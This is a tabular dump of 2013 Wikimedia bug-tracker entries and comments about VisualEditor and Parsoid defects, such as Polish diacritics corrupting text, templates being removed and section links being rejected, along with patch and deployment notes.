+You'll probably need to set your system keyboard to ""Polish (programmer's)"" or similarly named one. (It's the same as standard US layout, but includes the AltGr diacritics. A ""Polish (typist's)"" layout exists on some systems, but nobody ever uses it, so forget it.)
+
+1.
+Try inputting some text with diacritics, such as the ""Pójdź, kińże tę chmurność w głąb flaszy!"" sentence above (copying and pasting text with diacritics doesn't cause issues, you need to type it). (Strings of one character such as ""ąąąą"" tend to work correctly for some reason.)
+
+2.
+Depending on your luck, it might look okay, or you might get parts of the sentence duplicated in the next paragraph. Regardless of that, try backspacing a little now. The cursor will likely be moved to someplace in the next paragraph and unrelated characters will be removed.
+
+3.
+Try previewing the changes. The text will differ from the one shown in editing view.",,,1378297413,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,True,,,9,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+237112,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"Examples of edits apparently exhibiting this issue:
+
+* https://pl.wikipedia.org/w/index.php?title=Rondo&curid=122034&diff=37421631&oldid=35999089 - ""Największe rondo"" -> ""Najwi kszerondo""
+
+* https://pl.wikipedia.org/w/index.php?title=Euronews&diff=prev&oldid=37394282 - ""dostpna"" should be ""dostępna"", ""Midzyrnodowym"" should be ""Międzynarodowym"", etc.
+
+* https://pl.wikipedia.org/w/index.php?title=1967&diff=next&oldid=37422197 - ""ki rapers"" should probably be ""Amerykański raper"" (both occurences - this happened on two consecutive edits)
+
+Results of a user trying to type in ""Pójdź, kińże tę chmurność w głąb flaszy!"" when reproducing this bug:
+* https://www.mediawiki.org/w/index.php?title=User:G%C5%BCdacz&oldid=775661
+* https://www.mediawiki.org/w/index.php?title=User:G%C5%BCdacz&oldid=775666",,,1378296668,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-pkce7psg2t4g6fb5wfiy,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+55680,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,"I haven't worked out this out fully yet, but it seems that linking or annotating newly added text that contains accented or non-Latin characters frequently causes those characters to disappear. Re-adding them in the same word almost always results in their turning into pawns when, anywhere else on the page, the link dialog is subsequently opened or a link is inserted.
+
+This happens everywhere on a page including body text, tables and image captions.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53747",Unbreak Now!,100.0,1378127940,1378958522.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_description,resolved,True,c1,3,False,False,True,9,,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+257414,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,*** Bug 54047 has been marked as a duplicate of this bug. ***,,,1378959962,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_subcomment,,True,c1,3,True,,,10,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+257411,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring.",,,1378958522,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+257405,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378943119,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+257400,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,"(In reply to comment #3)
+> Same as bug 53747?
+
+Yes. I don't want to just merge them though as they're assigned to different people.",,,1378309729,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,1
+257393,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,Same as bug 53747?,,,1378308416,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+257386,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,"K7L comments:
+""I am seeing the same problems if I try to edit ordinary text such as the article intro. Pressing <save> or even <backspace> makes accented characters in newly-edited text vanish. This editor is not usable for non-English text on this browser [firefox].""
+
+This needs to be fixed urgently.",,,1378307780,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+257381,VisualEditor: annotating or linking newly added text containing accented or non-Latin characters causes corruption and pawns,"Now also reported on the French Wikipedia:
+[[:fr:Route 2 (Ontario)]] and its revision history, the distance chart is a table and Unicode descriptive text added with VisualEditor didn't save properly.[https://fr.wikipedia.org/w/index.php?title=Route_2_%28Ontario%29&diff=96342109&oldid=96342028] The damage was fixed using the standard MW wiki source editor but is still in history. Try inserting « La route 2 va à Montréal (Québec) » (or something/anything that isn't US ASCII) into a table cell and watch it fail to display correctly or fail to save.
+
+
+The fr.wp reported was using an unspecified version of firefox on Vector in Ubuntu. I use Firefox 23 on monobook in Xubuntu.
+
+Raising this to critical as being able to use all characters in a language is essential.",,,1378194601,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-fbhx4wfxlfcwk7mwpqtl,task_subcomment,,True,c1,3,False,,,9,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+55334,Parsoid: Annotated text after a template is deleted,"When inserting any template immediately before any word that is linked or has bold or italic markup, that word is deleted but continues to be displayed in the editing surface. The deletion can only be seen in review changes or upon saving.
+
+To reproduce:
+1. Open any page in VE.
+2. Place the cursor immediately before a word (i.e. with no white space between the cursor and word) that is one or more of:
+   * A link
+   * Bold text
+   * Italic text
+   * plain text that you have just added one of the above to
+3. Insert any template at the cursor position
+4. Observe the word remains as expected
+5. Review changes, and observe the word has been deleted.
+
+Examples: https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox2&diff=570195482&oldid=570194023
+
+On en.wp PamD encountered this bug when inserting a maintenance template at the head of an article that started with a bold word.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1377477420,1378222889.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-5bbhrorxovykfuz52i3u,task_description,resolved,True,c1,3,False,False,True,8,,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,0,1,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+237055,Parsoid: Annotated text after a template is deleted,This is the same Parsoid bug that affected both places where we implicitly assumed that the 'about' id is always present (without realizing/checking that it could be absent for VE-inserted transclusions).,,,1378223041,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-5bbhrorxovykfuz52i3u,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+237050,Parsoid: Annotated text after a template is deleted,"
+
+*** This bug has been marked as a duplicate of bug 53434 ***",,,1378222889,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-5bbhrorxovykfuz52i3u,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+237046,Parsoid: Annotated text after a template is deleted,"HTML
+
+<p><span typeof=""mw:Transclusion"" data-mw=""{&quot;target&quot;:{&quot;href&quot;:&quot;Template:Inline&quot;,&quot;wt&quot;:&quot;Inline&quot;},&quot;params&quot;:{&quot;1&quot;:{&quot;wt&quot;:&quot;Foo&quot;}}}""></span><b>bar</b>quux</p>
+
+Expected wikitext
+
+{{Inline|Foo}}'''bar'''quux
+
+Actual wikitext
+
+{{Inline|Foo}}quux
+
+:(",,,1377884301,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-5bbhrorxovykfuz52i3u,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+237040,Parsoid: Annotated text after a template is deleted,"This does not require pre-existing formatted or linked text.  The bug also appears if you enter the template first and then add bold word(s) immediately afterwards (no space between the template and the text), starting from an empty page or in a new paragraph.  
+
+For example, using VisualEditor with the intention of producing this, in this order:
+
+{{unreferenced}}'''Hello world''' from Wikipedia.
+
+actually results in this:
+
+{{unreferenced}} from Wikipedia.
+
+If you add a space or hit return after the template, then it works as expected.",,,1377538637,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-5bbhrorxovykfuz52i3u,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+55219,VisualEditor: [Regression] Link inspector prevents insertion of section links,"VE link insertion dialog when attempting to add a section link
+
+Since the latest update it is impossible to create links to specific sections of a page in VisualEditor: As soon as you enter the # character the link insertion dialog gives an ""Invalid title"" error. See screenshot attached and bug 50881 comment 11.
+
+I've reported this separately to bug 50881 as that is an enhancement to give proper handling of section links, but this is a regression that blocks all use of links to sections.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+
+**Attached**: {F11887}",Unbreak Now!,100.0,1377188700,1392231560.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-2o36gh7lztukgi2lajdg,task_description,resolved,True,c1,3,False,False,False,7,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+254794,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 112898 merged by jenkins-bot:
+Include fragments in normalizedTitle
+
+https://gerrit.wikimedia.org/r/112898",,,1392229930,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254789,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 112898 had a related patch set uploaded by Esanders:
+Include fragments in normalizedTitle
+
+https://gerrit.wikimedia.org/r/112898",,,1392218875,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254783,VisualEditor: [Regression] Link inspector prevents insertion of section links,"(In reply to comment #10)
+> Unless I'm missing something obvious, I can't make this work anymore on it.wp
+> or Mediawiki. It will just ignore the #name_of_the_section if I add it to an
+> existing wikilink and therefore, it will not recognize the link as edited and
+> the Save button will stay greyed out.
+
+Split that issue into bug 61221.",,,1392138773,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,True,,,32,,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+254776,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Unless I'm missing something obvious, I can't make this work anymore on it.wp or Mediawiki. It will just ignore the #name_of_the_section if I add it to an existing wikilink and therefore, it will not recognize the link as edited and the Save button will stay greyed out.",,,1392137133,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,32,,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+254771,VisualEditor: [Regression] Link inspector prevents insertion of section links,… and now deployed.,,,1377213471,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+254763,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 80507 merged by Catrope:
+Modify regex to allow section links as valid titles
+
+https://gerrit.wikimedia.org/r/80507",,,1377212160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254756,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 80505 merged by Catrope:
+Modify regex to allow section links as valid titles
+
+https://gerrit.wikimedia.org/r/80505",,,1377212156,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254749,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 80507 had a related patch set uploaded by Jforrester:
+Modify regex to allow section links as valid titles
+
+https://gerrit.wikimedia.org/r/80507",,,1377211215,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254743,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 80505 had a related patch set uploaded by Jforrester:
+Modify regex to allow section links as valid titles
+
+https://gerrit.wikimedia.org/r/80505",,,1377211126,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254736,VisualEditor: [Regression] Link inspector prevents insertion of section links,This is now fixed in master; we'll cherry-pick it and push live this afternoon. Sorry for the problem.,,,1377206624,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+254726,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 80417 merged by jenkins-bot:
+Modify regex to allow section links as valid titles
+
+https://gerrit.wikimedia.org/r/80417",,,1377206517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254717,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Change 80417 had a related patch set uploaded by Esanders:
+Modify regex to allow section links as valid titles
+
+https://gerrit.wikimedia.org/r/80417",,,1377196029,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254708,VisualEditor: [Regression] Link inspector prevents insertion of section links,"Ah, good that someone already reported. Confirmed in mediawiki.org.",,,1377190610,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-2o36gh7lztukgi2lajdg,task_subcomment,,True,c1,3,False,,,7,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1
+54608,VisualEditor: Template gets removed without editing it,"Steps to reproduce:
+1. Go to http://en.wikipedia.org/wiki/Post_and_core
+2. Edit it with VE
+3. Make some minor edit, by example, add a space after ""is a type""
+4. Review your changes (or save)
+
+Results:
+The {{Interventions infobox|(...)}} gets removed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1375867440,1379348384.0,PHID-USER-mapumhlp3gw5qefhvafn,False,,False,PHID-TASK-xtlw6alcryg5gfvrdeqj,task_description,resolved,True,c1,3,False,False,True,5,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+244141,VisualEditor: Template gets removed without editing it,Moving to date we likely fixed this with the changes to DM.,,,1379348384,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xtlw6alcryg5gfvrdeqj,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+244134,VisualEditor: Template gets removed without editing it,"I can't reproduce it anymore either, so I'm closing it.",,,1378994061,,PHID-USER-mapumhlp3gw5qefhvafn,False,,,PHID-TASK-xtlw6alcryg5gfvrdeqj,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+244125,VisualEditor: Template gets removed without editing it,"* ""I can't reproduce"" ... the issue. :)",,,1376929139,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-xtlw6alcryg5gfvrdeqj,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0
+244114,VisualEditor: Template gets removed without editing it,"I can't reproduce but the infobox invocation has some garbage in it.
+
+{{Interventions infobox |
+  Name        = Post and core |
+  Image       = |sesuiatu
+  Caption     = |sasa
+  ICD10       = |sasas
+  ICD9        = |sasasasa
+  MeshID      = D011176 |
+  OPS301      = |sasas
+  OtherCodes  = |sasa
+}}",,,1376928153,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-xtlw6alcryg5gfvrdeqj,task_subcomment,,True,c1,3,True,,,7,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+244104,VisualEditor: Template gets removed without editing it,"Roan, thoughts? Selser issue?",,,1375934940,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xtlw6alcryg5gfvrdeqj,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+54466,"VisualEditor: Fix violation of PHP strict standard (""Only variables should be passed by reference in VisualEditor/ApiVisualEditor.php on line 255"")","[error] PHP Strict Standards:  Only variables should be passed by reference in /srv/phase3/extensions/VisualEditor/ApiVisualEditor.php on line 255, referer: http://server/wiki/index.php/Sandbox?veaction=edit
+
+--------------------------
+**Version**: unspecified
